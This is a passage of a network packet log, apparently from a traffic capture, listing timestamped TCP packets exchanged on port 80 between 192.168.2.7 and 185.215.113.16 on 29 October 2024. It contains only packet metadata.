Oct 29, 2024 20:36:30.783864021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.783874989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.783894062 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.783916950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.783972979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.784017086 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.784029007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.784039021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.784060001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.784076929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.784223080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.784260988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.784270048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.784274101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.784288883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.784308910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785383940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785423994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785434008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785450935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785465956 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785501003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785562038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785573959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785583973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785608053 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785624981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785696030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785742044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785747051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785758972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785785913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785798073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785825014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785836935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785859108 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785868883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.785872936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.785907030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.786242008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.786253929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.786264896 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.786283970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.786317110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.805762053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.805774927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.805785894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.805809021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.805847883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.805866957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.805880070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.805891991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.805918932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.805946112 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.819664001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.819729090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.819741011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.819771051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.819792986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.819870949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.819881916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.819891930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.819904089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.819916010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.819916964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.819931030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.819955111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820348978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820382118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820391893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820398092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820516109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820528984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820542097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820542097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820560932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820677996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820688963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820723057 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820733070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820775986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820813894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820826054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820831060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820869923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820869923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820883036 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.820905924 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.820935011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821089983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821129084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821141005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821141958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821158886 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821177006 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821196079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821209908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821240902 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821517944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821568012 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821615934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821626902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821638107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821649075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821659088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821661949 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821672916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821681976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821692944 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821722031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821743011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821754932 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821765900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.821783066 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821790934 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.821810007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.864325047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864356995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864368916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864388943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864474058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864514112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864526033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864537001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864537001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.864583015 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.864741087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864758968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864769936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.864793062 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.864820004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.865356922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865410089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.865432978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865443945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865458012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865468979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865475893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.865493059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.865525007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.865596056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865607977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865617990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865631104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.865641117 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.865675926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.902678013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.902789116 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.902802944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.902817011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.902851105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.902873993 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.903024912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903038025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903048038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903063059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903073072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.903074980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903122902 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.903585911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903635025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.903657913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903670073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903712988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.903778076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903820992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.903872967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903884888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.903922081 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.904021978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904067039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.904129028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904140949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904172897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.904242039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904287100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.904314995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904366016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.904386997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904397964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904436111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.904927015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904938936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904949903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.904974937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.904997110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.923897028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.923939943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.923950911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.923957109 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.923975945 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.923980951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.924001932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.924021959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.924053907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.924063921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.924102068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.937649965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.937674046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.937688112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.937705040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.937717915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.937757969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938141108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938150883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938162088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938225985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938237906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938312054 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938695908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938708067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938719988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938750982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938767910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938776016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938781023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938802958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938807964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938831091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938851118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938878059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938889027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938899994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938925028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938941002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.938957930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.938982964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939157963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939205885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939208984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939217091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939254045 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939389944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939402103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939412117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939435959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939459085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939485073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939497948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939507961 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939531088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939560890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939802885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939814091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939825058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939848900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939853907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939866066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939879894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939908981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.939982891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.939994097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.940005064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.940017939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.940021038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.940028906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.940056086 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.940083981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.940090895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.940125942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.940136909 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.940165043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.982475996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982497931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982507944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982567072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.982574940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982589006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982604980 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.982614040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982625961 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982628107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.982662916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.982717991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982731104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982741117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982753038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.982765913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.982800007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.983570099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.983623981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.983712912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.983725071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.983735085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.983746052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.983757973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.983762980 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.983769894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.983781099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.983798981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.983824015 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.021372080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021384954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021394968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021476030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.021507978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021519899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021531105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021550894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.021584034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.021694899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021742105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.021851063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021862984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021874905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021884918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.021898985 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.021934986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.021981955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.022028923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.022109032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.022155046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.022789955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.022800922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.022811890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.022835970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.022869110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.022927046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.022938967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.022964001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.022989988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.023061037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.023072958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.023109913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.023190022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.023201942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.023211956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.023232937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.023255110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.023518085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.023528099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.023572922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.024013996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.024023056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.024034023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.024045944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.024060011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.024079084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.043217897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.043231010 CET	80	49986	185.215.113.16	192.168.2.7
